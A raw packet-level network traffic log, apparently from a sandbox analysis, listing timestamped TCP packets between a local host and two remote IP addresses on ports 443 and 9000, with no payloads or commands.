Jul 25, 2024 13:23:41.989777088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989809036 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989815950 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989845037 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989850998 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989905119 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989905119 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989917040 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989969015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989969015 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989984035 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.990024090 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.990040064 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.990077019 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.990093946 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.990101099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.990125895 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.990148067 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.071916103 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.071986914 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.071994066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072005987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072052956 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.072143078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072191954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.072199106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072207928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072246075 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.072432041 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072493076 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.072645903 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072702885 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.072825909 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.072880983 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468347073 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468415976 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468441010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468463898 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468491077 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468492985 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468518972 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468527079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468575954 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468575954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468631029 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468638897 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468689919 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468787909 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468822002 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468837976 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468844891 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.468863010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.468890905 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469122887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469155073 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469175100 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469182014 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469212055 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469230890 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469340086 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469373941 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469397068 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469404936 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469422102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469450951 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469789982 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469840050 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469846010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469851971 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469882011 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469886065 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469902039 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469908953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469932079 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469935894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.469985008 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.469994068 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470036983 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470247984 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470283985 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470303059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470309019 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470331907 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470355988 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470675945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470731020 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470733881 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470741034 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470781088 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470794916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470846891 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470859051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470895052 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470906973 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470913887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470932961 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470937014 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.470988035 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.470995903 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471039057 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471673012 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471716881 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471729040 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471735001 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471751928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471760035 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471787930 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471800089 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471807957 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471827030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471839905 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471853018 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471858978 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471874952 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471879005 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471916914 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.471925020 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.471966982 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472511053 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472570896 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472573042 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472582102 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472620010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472629070 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472671032 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472678900 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472687006 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472709894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472712994 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472734928 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.472740889 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.472758055 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.522679090 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.555316925 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555619001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.555650949 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555691004 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555738926 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555856943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.555856943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.555891037 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555964947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.555972099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.555982113 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556020975 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556047916 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556057930 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556072950 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556102991 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556304932 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556343079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556365013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556371927 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556387901 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556428909 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556654930 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556690931 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556716919 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556724072 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556763887 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556776047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556781054 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556790113 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556823015 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556833029 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556863070 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556878090 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.556885958 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.556915045 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557365894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557425976 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557434082 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557482004 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557565928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557614088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557622910 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557629108 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557668924 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557681084 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557681084 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557689905 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557729006 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557734966 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557744026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557782888 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557784081 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557792902 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557827950 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557836056 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557843924 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.557869911 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.557888031 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558403015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558449030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558456898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558464050 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558495045 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558500051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558540106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558571100 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558583021 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558597088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558597088 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558629990 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558638096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558650970 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558651924 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558693886 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.558701992 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.558747053 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559361935 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559410095 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559416056 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559422970 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559457064 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559463024 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559464931 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559473038 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559511900 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559513092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559521914 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559556007 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559566975 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559602976 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559613943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559621096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559643030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559645891 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559709072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.559715986 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.559762001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.600707054 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642101049 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642134905 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642163038 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642179966 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642194986 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642221928 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642246962 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642292023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642424107 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642452955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642473936 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.642481089 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.642493963 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.643598080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643637896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643651009 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.643659115 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643682003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643683910 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.643716097 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643726110 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.643733025 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.643759966 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.695257902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:42.850923061 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:42.855937958 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:42.863348007 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:42.863481045 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.028860092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.028872013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.028958082 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.028955936 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.028984070 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029001951 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029027939 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029031992 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029040098 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029068947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029084921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029126883 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029135942 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029181004 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029207945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029258013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029414892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029462099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029480934 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029488087 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029505014 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029514074 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029557943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.029567003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.029612064 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030056000 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030113935 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030138016 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030180931 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030188084 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030194044 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030220985 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030265093 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030308962 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030309916 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030320883 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030354977 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030410051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030447960 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030453920 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.030462027 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.030493021 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031104088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031145096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031161070 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031168938 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031188011 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031236887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031279087 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031287909 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031299114 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031327963 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031335115 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031356096 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031373024 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031410933 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031414032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031420946 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031455994 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031923056 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031960964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.031974077 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.031981945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032011032 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032082081 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032131910 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032140017 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032161951 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032185078 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032192945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032206059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032274961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032320976 CEST	49719	443	192.168.2.6	39.97.203.118
